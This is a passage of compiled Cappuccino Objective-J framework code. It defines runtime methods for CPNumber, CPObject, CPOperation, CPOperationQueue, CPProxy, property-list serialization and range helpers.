}),new objj_method(sel_getUid("initWithLongLong:"),function(_17,_18,_19){
with(_17){
return _19;
}
}),new objj_method(sel_getUid("initWithShort:"),function(_1a,_1b,_1c){
with(_1a){
return _1c;
}
}),new objj_method(sel_getUid("initWithUnsignedChar:"),function(_1d,_1e,_1f){
with(_1d){
if(_1f.charCodeAt){
return _1f.charCodeAt(0);
}
return _1f;
}
}),new objj_method(sel_getUid("initWithUnsignedInt:"),function(_20,_21,_22){
with(_20){
return _22;
}
}),new objj_method(sel_getUid("initWithUnsignedLong:"),function(_23,_24,_25){
with(_23){
return _25;
}
}),new objj_method(sel_getUid("initWithUnsignedShort:"),function(_26,_27,_28){
with(_26){
return _28;
}
}),new objj_method(sel_getUid("UID"),function(_29,_2a){
with(_29){
var UID=_2.valueForKey(_29);
if(!UID){
UID=objj_generateObjectUID();
_2.setValueForKey(_29,UID);
}
return UID+"";
}
}),new objj_method(sel_getUid("boolValue"),function(_2b,_2c){
with(_2b){
return _2b?true:false;
}
}),new objj_method(sel_getUid("charValue"),function(_2d,_2e){
with(_2d){
return String.fromCharCode(_2d);
}
}),new objj_method(sel_getUid("decimalValue"),function(_2f,_30){
with(_2f){
throw new Error("decimalValue: NOT YET IMPLEMENTED");
}
}),new objj_method(sel_getUid("descriptionWithLocale:"),function(_31,_32,_33){
with(_31){
if(!_33){
return toString();
}
throw new Error("descriptionWithLocale: NOT YET IMPLEMENTED");
}
}),new objj_method(sel_getUid("description"),function(_34,_35){
with(_34){
return objj_msgSend(_34,"descriptionWithLocale:",nil);
}
}),new objj_method(sel_getUid("doubleValue"),function(_36,_37){
with(_36){
if(typeof _36=="boolean"){
return _36?1:0;
}
return _36;
}
}),new objj_method(sel_getUid("floatValue"),function(_38,_39){
with(_38){
if(typeof _38=="boolean"){
return _38?1:0;
}
return _38;
}
}),new objj_method(sel_getUid("intValue"),function(_3a,_3b){
with(_3a){
if(typeof _3a=="boolean"){
return _3a?1:0;
}
return _3a;
}
}),new objj_method(sel_getUid("longLongValue"),function(_3c,_3d){
with(_3c){
if(typeof _3c=="boolean"){
return _3c?1:0;
}
return _3c;
}
}),new objj_method(sel_getUid("longValue"),function(_3e,_3f){
with(_3e){
if(typeof _3e=="boolean"){
return _3e?1:0;
}
return _3e;
}
}),new objj_method(sel_getUid("shortValue"),function(_40,_41){
with(_40){
if(typeof _40=="boolean"){
return _40?1:0;
}
return _40;
}
}),new objj_method(sel_getUid("stringValue"),function(_42,_43){
with(_42){
return toString();
}
}),new objj_method(sel_getUid("unsignedCharValue"),function(_44,_45){
with(_44){
return String.fromCharCode(_44);
}
}),new objj_method(sel_getUid("unsignedIntValue"),function(_46,_47){
with(_46){
if(typeof _46=="boolean"){
return _46?1:0;
}
return _46;
}
}),new objj_method(sel_getUid("unsignedLongValue"),function(_48,_49){
with(_48){
if(typeof _48=="boolean"){
return _48?1:0;
}
return _48;
}
}),new objj_method(sel_getUid("unsignedShortValue"),function(_4a,_4b){
with(_4a){
if(typeof _4a=="boolean"){
return _4a?1:0;
}
return _4a;
}
}),new objj_method(sel_getUid("compare:"),function(_4c,_4d,_4e){
with(_4c){
if(_4c>_4e){
return CPOrderedDescending;
}else{
if(_4c<_4e){
return CPOrderedAscending;
}
}
return CPOrderedSame;
}
}),new objj_method(sel_getUid("isEqualToNumber:"),function(_4f,_50,_51){
with(_4f){
return _4f==_51;
}
})]);
class_addMethods(_4,[new objj_method(sel_getUid("alloc"),function(_52,_53){
with(_52){
return _1;
}
}),new objj_method(sel_getUid("numberWithBool:"),function(_54,_55,_56){
with(_54){
return _56;
}
}),new objj_method(sel_getUid("numberWithChar:"),function(_57,_58,_59){
with(_57){
if(_59.charCodeAt){
return _59.charCodeAt(0);
}
return _59;
}
}),new objj_method(sel_getUid("numberWithDouble:"),function(_5a,_5b,_5c){
with(_5a){
return _5c;
}
}),new objj_method(sel_getUid("numberWithFloat:"),function(_5d,_5e,_5f){
with(_5d){
return _5f;
}
}),new objj_method(sel_getUid("numberWithInt:"),function(_60,_61,_62){
with(_60){
return _62;
}
}),new objj_method(sel_getUid("numberWithLong:"),function(_63,_64,_65){
with(_63){
return _65;
}
}),new objj_method(sel_getUid("numberWithLongLong:"),function(_66,_67,_68){
with(_66){
return _68;
}
}),new objj_method(sel_getUid("numberWithShort:"),function(_69,_6a,_6b){
with(_69){
return _6b;
}
}),new objj_method(sel_getUid("numberWithUnsignedChar:"),function(_6c,_6d,_6e){
with(_6c){
if(_6e.charCodeAt){
return _6e.charCodeAt(0);
}
return _6e;
}
}),new objj_method(sel_getUid("numberWithUnsignedInt:"),function(_6f,_70,_71){
with(_6f){
return _71;
}
}),new objj_method(sel_getUid("numberWithUnsignedLong:"),function(_72,_73,_74){
with(_72){
return _74;
}
}),new objj_method(sel_getUid("numberWithUnsignedShort:"),function(_75,_76,_77){
with(_75){
return _77;
}
})]);
var _3=objj_getClass("CPNumber");
if(!_3){
throw new SyntaxError("*** Could not find definition for class \"CPNumber\"");
}
var _4=_3.isa;
class_addMethods(_3,[new objj_method(sel_getUid("initWithCoder:"),function(_78,_79,_7a){
with(_78){
return objj_msgSend(_7a,"decodeNumber");
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_7b,_7c,_7d){
with(_7b){
objj_msgSend(_7d,"encodeNumber:forKey:",_7b,"self");
}
})]);
Number.prototype.isa=CPNumber;
Boolean.prototype.isa=CPNumber;
objj_msgSend(CPNumber,"initialize");
p;10;CPObject.jt;6862;@STATIC;1.0;t;6843;
var _1=objj_allocateClassPair(Nil,"CPObject"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("isa")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("init"),function(_3,_4){
with(_3){
return _3;
}
}),new objj_method(sel_getUid("copy"),function(_5,_6){
with(_5){
return _5;
}
}),new objj_method(sel_getUid("mutableCopy"),function(_7,_8){
with(_7){
return objj_msgSend(_7,"copy");
}
}),new objj_method(sel_getUid("dealloc"),function(_9,_a){
with(_9){
}
}),new objj_method(sel_getUid("class"),function(_b,_c){
with(_b){
return isa;
}
}),new objj_method(sel_getUid("isKindOfClass:"),function(_d,_e,_f){
with(_d){
return objj_msgSend(isa,"isSubclassOfClass:",_f);
}
}),new objj_method(sel_getUid("isMemberOfClass:"),function(_10,_11,_12){
with(_10){
return _10.isa===_12;
}
}),new objj_method(sel_getUid("isProxy"),function(_13,_14){
with(_13){
return NO;
}
}),new objj_method(sel_getUid("respondsToSelector:"),function(_15,_16,_17){
with(_15){
return !!class_getInstanceMethod(isa,_17);
}
}),new objj_method(sel_getUid("implementsSelector:"),function(_18,_19,_1a){
with(_18){
var _1b=class_copyMethodList(isa),_1c=_1b.length;
while(_1c--){
if(method_getName(_1b[_1c])===_1a){
return YES;
}
}
return NO;
}
}),new objj_method(sel_getUid("methodForSelector:"),function(_1d,_1e,_1f){
with(_1d){
return class_getMethodImplementation(isa,_1f);
}
}),new objj_method(sel_getUid("methodSignatureForSelector:"),function(_20,_21,_22){
with(_20){
return nil;
}
}),new objj_method(sel_getUid("description"),function(_23,_24){
with(_23){
return "<"+class_getName(isa)+" 0x"+objj_msgSend(CPString,"stringWithHash:",objj_msgSend(_23,"UID"))+">";
}
}),new objj_method(sel_getUid("performSelector:"),function(_25,_26,_27){
with(_25){
return objj_msgSend(_25,_27);
}
}),new objj_method(sel_getUid("performSelector:withObject:"),function(_28,_29,_2a,_2b){
with(_28){
return objj_msgSend(_28,_2a,_2b);
}
}),new objj_method(sel_getUid("performSelector:withObject:withObject:"),function(_2c,_2d,_2e,_2f,_30){
with(_2c){
return objj_msgSend(_2c,_2e,_2f,_30);
}
}),new objj_method(sel_getUid("forwardInvocation:"),function(_31,_32,_33){
with(_31){
objj_msgSend(_31,"doesNotRecognizeSelector:",objj_msgSend(_33,"selector"));
}
}),new objj_method(sel_getUid("forward::"),function(_34,_35,_36,_37){
with(_34){
var _38=objj_msgSend(_34,"methodSignatureForSelector:",_36);
if(_38){
invocation=objj_msgSend(CPInvocation,"invocationWithMethodSignature:",_38);
objj_msgSend(invocation,"setTarget:",_34);
objj_msgSend(invocation,"setSelector:",_36);
var _39=2,_3a=_37.length;
for(;_39<_3a;++_39){
objj_msgSend(invocation,"setArgument:atIndex:",_37[_39],_39);
}
objj_msgSend(_34,"forwardInvocation:",invocation);
return objj_msgSend(invocation,"returnValue");
}
objj_msgSend(_34,"doesNotRecognizeSelector:",_36);
}
}),new objj_method(sel_getUid("doesNotRecognizeSelector:"),function(_3b,_3c,_3d){
with(_3b){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,(class_isMetaClass(isa)?"+":"-")+" ["+objj_msgSend(_3b,"className")+" "+_3d+"] unrecognized selector sent to "+(class_isMetaClass(isa)?"class":"instance")+" 0x"+objj_msgSend(CPString,"stringWithHash:",objj_msgSend(_3b,"UID")));
}
}),new objj_method(sel_getUid("awakeAfterUsingCoder:"),function(_3e,_3f,_40){
with(_3e){
return _3e;
}
}),new objj_method(sel_getUid("classForKeyedArchiver"),function(_41,_42){
with(_41){
return objj_msgSend(_41,"classForCoder");
}
}),new objj_method(sel_getUid("classForCoder"),function(_43,_44){
with(_43){
return objj_msgSend(_43,"class");
}
}),new objj_method(sel_getUid("replacementObjectForArchiver:"),function(_45,_46,_47){
with(_45){
return objj_msgSend(_45,"replacementObjectForCoder:",_47);
}
}),new objj_method(sel_getUid("replacementObjectForKeyedArchiver:"),function(_48,_49,_4a){
with(_48){
return objj_msgSend(_48,"replacementObjectForCoder:",_4a);
}
}),new objj_method(sel_getUid("replacementObjectForCoder:"),function(_4b,_4c,_4d){
with(_4b){
return _4b;
}
}),new objj_method(sel_getUid("className"),function(_4e,_4f){
with(_4e){
return isa.name;
}
}),new objj_method(sel_getUid("autorelease"),function(_50,_51){
with(_50){
return _50;
}
}),new objj_method(sel_getUid("hash"),function(_52,_53){
with(_52){
return objj_msgSend(_52,"UID");
}
}),new objj_method(sel_getUid("UID"),function(_54,_55){
with(_54){
if(typeof _54._UID==="undefined"){
_54._UID=objj_generateObjectUID();
}
return _UID+"";
}
}),new objj_method(sel_getUid("isEqual:"),function(_56,_57,_58){
with(_56){
return _56===_58||objj_msgSend(_56,"UID")===objj_msgSend(_58,"UID");
}
}),new objj_method(sel_getUid("retain"),function(_59,_5a){
with(_59){
return _59;
}
}),new objj_method(sel_getUid("release"),function(_5b,_5c){
with(_5b){
}
}),new objj_method(sel_getUid("self"),function(_5d,_5e){
with(_5d){
return _5d;
}
}),new objj_method(sel_getUid("superclass"),function(_5f,_60){
with(_5f){
return isa.super_class;
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("load"),function(_61,_62){
with(_61){
}
}),new objj_method(sel_getUid("initialize"),function(_63,_64){
with(_63){
}
}),new objj_method(sel_getUid("new"),function(_65,_66){
with(_65){
return objj_msgSend(objj_msgSend(_65,"alloc"),"init");
}
}),new objj_method(sel_getUid("alloc"),function(_67,_68){
with(_67){
return class_createInstance(_67);
}
}),new objj_method(sel_getUid("allocWithCoder:"),function(_69,_6a,_6b){
with(_69){
return objj_msgSend(_69,"alloc");
}
}),new objj_method(sel_getUid("class"),function(_6c,_6d){
with(_6c){
return _6c;
}
}),new objj_method(sel_getUid("superclass"),function(_6e,_6f){
with(_6e){
return super_class;
}
}),new objj_method(sel_getUid("isSubclassOfClass:"),function(_70,_71,_72){
with(_70){
var _73=_70;
for(;_73;_73=_73.super_class){
if(_73===_72){
return YES;
}
}
return NO;
}
}),new objj_method(sel_getUid("isKindOfClass:"),function(_74,_75,_76){
with(_74){
return objj_msgSend(_74,"isSubclassOfClass:",_76);
}
}),new objj_method(sel_getUid("isMemberOfClass:"),function(_77,_78,_79){
with(_77){
return _77===_79;
}
}),new objj_method(sel_getUid("instancesRespondToSelector:"),function(_7a,_7b,_7c){
with(_7a){
return !!class_getInstanceMethod(_7a,_7c);
}
}),new objj_method(sel_getUid("instanceMethodForSelector:"),function(_7d,_7e,_7f){
with(_7d){
return class_getMethodImplementation(_7d,_7f);
}
}),new objj_method(sel_getUid("description"),function(_80,_81){
with(_80){
return class_getName(isa);
}
}),new objj_method(sel_getUid("setVersion:"),function(_82,_83,_84){
with(_82){
version=_84;
return _82;
}
}),new objj_method(sel_getUid("version"),function(_85,_86){
with(_85){
return version;
}
})]);
objj_class.prototype.toString=objj_object.prototype.toString=function(){
if(this.isa&&class_getInstanceMethod(this.isa,"description")!=NULL){
return objj_msgSend(this,"description");
}else{
return String(this)+" (-description not implemented)";
}
};
p;15;CPObjJRuntime.jt;390;@STATIC;1.0;t;372;
CPStringFromSelector=function(_1){
return sel_getName(_1);
};
CPSelectorFromString=function(_2){
return sel_registerName(_2);
};
CPClassFromString=function(_3){
return objj_getClass(_3);
};
CPStringFromClass=function(_4){
return class_getName(_4);
};
CPOrderedAscending=-1;
CPOrderedSame=0;
CPOrderedDescending=1;
CPNotFound=-1;
MIN=Math.min;
MAX=Math.max;
ABS=Math.abs;
p;13;CPOperation.jt;4258;@STATIC;1.0;i;10;CPObject.jt;4224;
objj_executeFile("CPObject.j",YES);
CPOperationQueuePriorityVeryLow=-8;
CPOperationQueuePriorityLow=-4;
CPOperationQueuePriorityNormal=0;
CPOperationQueuePriorityHigh=4;
CPOperationQueuePriorityVeryHigh=8;
var _1=objj_allocateClassPair(CPObject,"CPOperation"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("operations"),new objj_ivar("_cancelled"),new objj_ivar("_executing"),new objj_ivar("_finished"),new objj_ivar("_ready"),new objj_ivar("_queuePriority"),new objj_ivar("_completionFunction"),new objj_ivar("_dependencies")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("main"),function(_3,_4){
with(_3){
}
}),new objj_method(sel_getUid("init"),function(_5,_6){
with(_5){
if(_5=objj_msgSendSuper({receiver:_5,super_class:objj_getClass("CPOperation").super_class},"init")){
_cancelled=NO;
_executing=NO;
_finished=NO;
_ready=YES;
_dependencies=objj_msgSend(objj_msgSend(CPArray,"alloc"),"init");
_queuePriority=CPOperationQueuePriorityNormal;
}
return _5;
}
}),new objj_method(sel_getUid("start"),function(_7,_8){
with(_7){
if(!_cancelled){
objj_msgSend(_7,"willChangeValueForKey:","isExecuting");
_executing=YES;
objj_msgSend(_7,"didChangeValueForKey:","isExecuting");
objj_msgSend(_7,"main");
if(_completionFunction){
_completionFunction();
}
objj_msgSend(_7,"willChangeValueForKey:","isExecuting");
_executing=NO;
objj_msgSend(_7,"didChangeValueForKey:","isExecuting");
objj_msgSend(_7,"willChangeValueForKey:","isFinished");
_finished=YES;
objj_msgSend(_7,"didChangeValueForKey:","isFinished");
}
}
}),new objj_method(sel_getUid("isCancelled"),function(_9,_a){
with(_9){
return _cancelled;
}
}),new objj_method(sel_getUid("isExecuting"),function(_b,_c){
with(_b){
return _executing;
}
}),new objj_method(sel_getUid("isFinished"),function(_d,_e){
with(_d){
return _finished;
}
}),new objj_method(sel_getUid("isConcurrent"),function(_f,_10){
with(_f){
return NO;
}
}),new objj_method(sel_getUid("isReady"),function(_11,_12){
with(_11){
return _ready;
}
}),new objj_method(sel_getUid("completionFunction"),function(_13,_14){
with(_13){
return _completionFunction;
}
}),new objj_method(sel_getUid("setCompletionFunction:"),function(_15,_16,_17){
with(_15){
_completionFunction=_17;
}
}),new objj_method(sel_getUid("addDependency:"),function(_18,_19,_1a){
with(_18){
objj_msgSend(_18,"willChangeValueForKey:","dependencies");
objj_msgSend(_1a,"addObserver:forKeyPath:options:context:",_18,"isFinished",(CPKeyValueObservingOptionNew),NULL);
objj_msgSend(_dependencies,"addObject:",_1a);
objj_msgSend(_18,"didChangeValueForKey:","dependencies");
objj_msgSend(_18,"_updateIsReadyState");
}
}),new objj_method(sel_getUid("removeDependency:"),function(_1b,_1c,_1d){
with(_1b){
objj_msgSend(_1b,"willChangeValueForKey:","dependencies");
objj_msgSend(_dependencies,"removeObject:",_1d);
objj_msgSend(_1d,"removeObserver:forKeyPath:",_1b,"isFinished");
objj_msgSend(_1b,"didChangeValueForKey:","dependencies");
objj_msgSend(_1b,"_updateIsReadyState");
}
}),new objj_method(sel_getUid("dependencies"),function(_1e,_1f){
with(_1e){
return _dependencies;
}
}),new objj_method(sel_getUid("waitUntilFinished"),function(_20,_21){
with(_20){
}
}),new objj_method(sel_getUid("cancel"),function(_22,_23){
with(_22){
objj_msgSend(_22,"willChangeValueForKey:","isCancelled");
_cancelled=YES;
objj_msgSend(_22,"didChangeValueForKey:","isCancelled");
}
}),new objj_method(sel_getUid("setQueuePriority:"),function(_24,_25,_26){
with(_24){
_queuePriority=_26;
}
}),new objj_method(sel_getUid("queuePriority"),function(_27,_28){
with(_27){
return _queuePriority;
}
}),new objj_method(sel_getUid("observeValueForKeyPath:ofObject:change:context:"),function(_29,_2a,_2b,_2c,_2d,_2e){
with(_29){
if(_2b=="isFinished"){
objj_msgSend(_29,"_updateIsReadyState");
}
}
}),new objj_method(sel_getUid("_updateIsReadyState"),function(_2f,_30){
with(_2f){
var _31=YES;
if(_dependencies&&objj_msgSend(_dependencies,"count")>0){
var i=0;
for(i=0;i<objj_msgSend(_dependencies,"count");i++){
if(!objj_msgSend(objj_msgSend(_dependencies,"objectAtIndex:",i),"isFinished")){
_31=NO;
}
}
}
if(_31!=_ready){
objj_msgSend(_2f,"willChangeValueForKey:","isReady");
_ready=_31;
objj_msgSend(_2f,"didChangeValueForKey:","isReady");
}
}
})]);
p;18;CPOperationQueue.jt;5153;@STATIC;1.0;i;21;CPFunctionOperation.ji;23;CPInvocationOperation.ji;10;CPObject.ji;13;CPOperation.jt;5047;
objj_executeFile("CPFunctionOperation.j",YES);
objj_executeFile("CPInvocationOperation.j",YES);
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPOperation.j",YES);
var _1=nil;
var _2=objj_allocateClassPair(CPObject,"CPOperationQueue"),_3=_2.isa;
class_addIvars(_2,[new objj_ivar("_operations"),new objj_ivar("_suspended"),new objj_ivar("_name"),new objj_ivar("_timer")]);
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("name"),function(_4,_5){
with(_4){
return _name;
}
}),new objj_method(sel_getUid("setName:"),function(_6,_7,_8){
with(_6){
_name=_8;
}
}),new objj_method(sel_getUid("init"),function(_9,_a){
with(_9){
if(_9=objj_msgSendSuper({receiver:_9,super_class:objj_getClass("CPOperationQueue").super_class},"init")){
_operations=objj_msgSend(objj_msgSend(CPArray,"alloc"),"init");
_suspended=NO;
_currentlyModifyingOps=NO;
_timer=objj_msgSend(CPTimer,"scheduledTimerWithTimeInterval:target:selector:userInfo:repeats:",0.01,_9,sel_getUid("_runNextOpsInQueue"),nil,YES);
}
return _9;
}
}),new objj_method(sel_getUid("_runNextOpsInQueue"),function(_b,_c){
with(_b){
if(!_suspended&&objj_msgSend(_b,"operationCount")>0){
var i=0,_d=objj_msgSend(_operations,"count");
for(;i<_d;i++){
var op=objj_msgSend(_operations,"objectAtIndex:",i);
if(objj_msgSend(op,"isReady")&&!objj_msgSend(op,"isCancelled")&&!objj_msgSend(op,"isFinished")&&!objj_msgSend(op,"isExecuting")){
objj_msgSend(op,"start");
}
}
}
}
}),new objj_method(sel_getUid("_enableTimer:"),function(_e,_f,_10){
with(_e){
if(!_10){
if(_timer){
objj_msgSend(_timer,"invalidate");
_timer=nil;
}
}else{
if(!_timer){
_timer=objj_msgSend(CPTimer,"scheduledTimerWithTimeInterval:target:selector:userInfo:repeats:",0.01,_e,sel_getUid("_runNextOpsInQueue"),nil,YES);
}
}
}
}),new objj_method(sel_getUid("addOperation:"),function(_11,_12,_13){
with(_11){
objj_msgSend(_11,"willChangeValueForKey:","operations");
objj_msgSend(_11,"willChangeValueForKey:","operationCount");
objj_msgSend(_operations,"addObject:",_13);
objj_msgSend(_11,"_sortOpsByPriority:",_operations);
objj_msgSend(_11,"didChangeValueForKey:","operations");
objj_msgSend(_11,"didChangeValueForKey:","operationCount");
}
}),new objj_method(sel_getUid("addOperations:waitUntilFinished:"),function(_14,_15,ops,_16){
with(_14){
if(ops){
if(_16){
objj_msgSend(_14,"_sortOpsByPriority:",ops);
objj_msgSend(_14,"_runOpsSynchronously:",ops);
}
objj_msgSend(_operations,"addObjectsFromArray:",ops);
objj_msgSend(_14,"_sortOpsByPriority:",_operations);
}
}
}),new objj_method(sel_getUid("addOperationWithFunction:"),function(_17,_18,_19){
with(_17){
objj_msgSend(_17,"addOperation:",objj_msgSend(CPFunctionOperation,"functionOperationWithFunction:",_19));
}
}),new objj_method(sel_getUid("operations"),function(_1a,_1b){
with(_1a){
return _operations;
}
}),new objj_method(sel_getUid("operationCount"),function(_1c,_1d){
with(_1c){
if(_operations){
return objj_msgSend(_operations,"count");
}
return 0;
}
}),new objj_method(sel_getUid("cancelAllOperations"),function(_1e,_1f){
with(_1e){
if(_operations){
var i=0,_20=objj_msgSend(_operations,"count");
for(;i<_20;i++){
objj_msgSend(objj_msgSend(_operations,"objectAtIndex:",i),"cancel");
}
}
}
}),new objj_method(sel_getUid("waitUntilAllOperationsAreFinished"),function(_21,_22){
with(_21){
objj_msgSend(_21,"_enableTimer:",NO);
objj_msgSend(_21,"_runOpsSynchronously:",_operations);
if(!_suspended){
objj_msgSend(_21,"_enableTimer:",YES);
}
}
}),new objj_method(sel_getUid("maxConcurrentOperationCount"),function(_23,_24){
with(_23){
return 1;
}
}),new objj_method(sel_getUid("setSuspended:"),function(_25,_26,_27){
with(_25){
_suspended=_27;
objj_msgSend(_25,"_enableTimer:",!_27);
}
}),new objj_method(sel_getUid("isSuspended"),function(_28,_29){
with(_28){
return _suspended;
}
}),new objj_method(sel_getUid("_sortOpsByPriority:"),function(_2a,_2b,_2c){
with(_2a){
if(_2c){
objj_msgSend(_2c,"sortUsingFunction:context:",function(lhs,rhs){
if(objj_msgSend(lhs,"queuePriority")<objj_msgSend(rhs,"queuePriority")){
return 1;
}else{
if(objj_msgSend(lhs,"queuePriority")>objj_msgSend(rhs,"queuePriority")){
return -1;
}else{
return 0;
}
}
},nil);
}
}
}),new objj_method(sel_getUid("_runOpsSynchronously:"),function(_2d,_2e,ops){
with(_2d){
if(ops){
var _2f=YES;
while(_2f){
var i=0,_30=objj_msgSend(ops,"count");
_2f=NO;
for(;i<_30;i++){
var op=objj_msgSend(ops,"objectAtIndex:",i);
if(objj_msgSend(op,"isReady")&&!objj_msgSend(op,"isCancelled")&&!objj_msgSend(op,"isFinished")&&!objj_msgSend(op,"isExecuting")){
objj_msgSend(op,"start");
}
}
for(i=0;i<_30;i++){
var op=objj_msgSend(ops,"objectAtIndex:",i);
if(!objj_msgSend(op,"isFinished")&&!objj_msgSend(op,"isCancelled")){
_2f=YES;
}
}
}
}
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("mainQueue"),function(_31,_32){
with(_31){
if(!_1){
_1=objj_msgSend(objj_msgSend(CPOperationQueue,"alloc"),"init");
objj_msgSend(_1,"setName:","main");
}
return _1;
}
}),new objj_method(sel_getUid("currentQueue"),function(_33,_34){
with(_33){
return objj_msgSend(CPOperationQueue,"mainQueue");
}
})]);
p;29;CPPropertyListSerialization.jt;1497;@STATIC;1.0;i;10;CPObject.jt;1463;
objj_executeFile("CPObject.j",YES);
CPPropertyListUnknownFormat=0;
CPPropertyListOpenStepFormat=kCFPropertyListOpenStepFormat;
CPPropertyListXMLFormat_v1_0=kCFPropertyListXMLFormat_v1_0;
CPPropertyListBinaryFormat_v1_0=kCFPropertyListBinaryFormat_v1_0;
CPPropertyList280NorthFormat_v1_0=kCFPropertyList280NorthFormat_v1_0;
var _1=objj_allocateClassPair(CPObject,"CPPropertyListSerialization"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_2,[new objj_method(sel_getUid("dataFromPropertyList:format:"),function(_3,_4,_5,_6){
with(_3){
return CPPropertyListCreateData(_5,_6);
}
}),new objj_method(sel_getUid("propertyListFromData:format:"),function(_7,_8,_9,_a){
with(_7){
return CPPropertyListCreateFromData(_9,_a);
}
})]);
var _1=objj_getClass("CPPropertyListSerialization");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPPropertyListSerialization\"");
}
var _2=_1.isa;
class_addMethods(_2,[new objj_method(sel_getUid("dataFromPropertyList:format:errorDescription:"),function(_b,_c,_d,_e,_f){
with(_b){
_CPReportLenientDeprecation(_b,_c,sel_getUid("dataFromPropertyList:format:"));
return objj_msgSend(_b,"dataFromPropertyList:format:",_d,_e);
}
}),new objj_method(sel_getUid("propertyListFromData:format:errorDescription:"),function(_10,_11,_12,_13,_14){
with(_10){
_CPReportLenientDeprecation(_10,_11,sel_getUid("propertyListFromData:format:"));
return objj_msgSend(_10,"propertyListFromData:format:",_12,_13);
}
})]);
p;9;CPProxy.jt;3560;@STATIC;1.0;i;13;CPException.ji;14;CPInvocation.ji;10;CPString.jt;3489;
objj_executeFile("CPException.j",YES);
objj_executeFile("CPInvocation.j",YES);
objj_executeFile("CPString.j",YES);
var _1=objj_allocateClassPair(Nil,"CPProxy"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("methodSignatureForSelector:"),function(_3,_4,_5){
with(_3){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"-methodSignatureForSelector: called on abstract CPProxy class.");
}
}),new objj_method(sel_getUid("forwardInvocation:"),function(_6,_7,_8){
with(_6){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"-forwardInvocation: called on abstract CPProxy class.");
}
}),new objj_method(sel_getUid("forward::"),function(_9,_a,_b,_c){
with(_9){
objj_msgSend(CPObject,"methodForSelector:",_a)(_9,_a,_b,_c);
}
}),new objj_method(sel_getUid("hash"),function(_d,_e){
with(_d){
return objj_msgSend(_d,"UID");
}
}),new objj_method(sel_getUid("UID"),function(_f,_10){
with(_f){
if(typeof _f._UID==="undefined"){
_f._UID=objj_generateObjectUID();
}
return _UID;
}
}),new objj_method(sel_getUid("isEqual:"),function(_11,_12,_13){
with(_11){
return _11===object;
}
}),new objj_method(sel_getUid("self"),function(_14,_15){
with(_14){
return _14;
}
}),new objj_method(sel_getUid("class"),function(_16,_17){
with(_16){
return isa;
}
}),new objj_method(sel_getUid("superclass"),function(_18,_19){
with(_18){
return class_getSuperclass(isa);
}
}),new objj_method(sel_getUid("performSelector:"),function(_1a,_1b,_1c){
with(_1a){
return objj_msgSend(_1a,_1c);
}
}),new objj_method(sel_getUid("performSelector:withObject:"),function(_1d,_1e,_1f,_20){
with(_1d){
return objj_msgSend(_1d,_1f,_20);
}
}),new objj_method(sel_getUid("performSelector:withObject:withObject:"),function(_21,_22,_23,_24,_25){
with(_21){
return objj_msgSend(_21,_23,_24,_25);
}
}),new objj_method(sel_getUid("isProxy"),function(_26,_27){
with(_26){
return YES;
}
}),new objj_method(sel_getUid("isKindOfClass:"),function(_28,_29,_2a){
with(_28){
var _2b=objj_msgSend(_28,"methodSignatureForSelector:",_29),_2c=objj_msgSend(CPInvocation,"invocationWithMethodSignature:",_2b);
objj_msgSend(_28,"forwardInvocation:",_2c);
return objj_msgSend(_2c,"returnValue");
}
}),new objj_method(sel_getUid("isMemberOfClass:"),function(_2d,_2e,_2f){
with(_2d){
var _30=objj_msgSend(_2d,"methodSignatureForSelector:",_2e),_31=objj_msgSend(CPInvocation,"invocationWithMethodSignature:",_30);
objj_msgSend(_2d,"forwardInvocation:",_31);
return objj_msgSend(_31,"returnValue");
}
}),new objj_method(sel_getUid("respondsToSelector:"),function(_32,_33,_34){
with(_32){
var _35=objj_msgSend(_32,"methodSignatureForSelector:",_33),_36=objj_msgSend(CPInvocation,"invocationWithMethodSignature:",_35);
objj_msgSend(_32,"forwardInvocation:",_36);
return objj_msgSend(_36,"returnValue");
}
}),new objj_method(sel_getUid("description"),function(_37,_38){
with(_37){
return "<"+class_getName(isa)+" 0x"+objj_msgSend(CPString,"stringWithHash:",objj_msgSend(_37,"UID"))+">";
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("load"),function(_39,_3a){
with(_39){
}
}),new objj_method(sel_getUid("initialize"),function(_3b,_3c){
with(_3b){
}
}),new objj_method(sel_getUid("class"),function(_3d,_3e){
with(_3d){
return _3d;
}
}),new objj_method(sel_getUid("alloc"),function(_3f,_40){
with(_3f){
return class_createInstance(_3f);
}
}),new objj_method(sel_getUid("respondsToSelector:"),function(_41,_42,_43){
with(_41){
return !!class_getInstanceMethod(isa,aSelector);
}
})]);
p;9;CPRange.jt;1244;@STATIC;1.0;t;1225;
CPMakeRange=function(_1,_2){
return {location:_1,length:_2};
};
CPCopyRange=function(_3){
return {location:_3.location,length:_3.length};
};
CPMakeRangeCopy=function(_4){
return {location:_4.location,length:_4.length};
};
CPEmptyRange=function(_5){
return _5.length===0;
};
CPMaxRange=function(_6){
return _6.location+_6.length;
};
CPEqualRanges=function(_7,_8){
return ((_7.location===_8.location)&&(_7.length===_8.length));
};
CPLocationInRange=function(_9,_a){
return (_9>=_a.location)&&(_9<CPMaxRange(_a));
};
CPUnionRange=function(_b,_c){
var _d=MIN(_b.location,_c.location);
return CPMakeRange(_d,MAX(CPMaxRange(_b),CPMaxRange(_c))-_d);
};
CPIntersectionRange=function(_e,_f){
if(CPMaxRange(_e)<_f.location||CPMaxRange(_f)<_e.location){
return CPMakeRange(0,0);
}
var _10=MAX(_e.location,_f.location);
return CPMakeRange(_10,MIN(CPMaxRange(_e),CPMaxRange(_f))-_10);
};
CPRangeInRange=function(_11,_12){
return (_11.location<=_12.location&&CPMaxRange(_11)>=CPMaxRange(_12));
};
CPStringFromRange=function(_13){
return "{"+_13.location+", "+_13.length+"}";
};
CPRangeFromString=function(_14){
var _15=_14.indexOf(",");
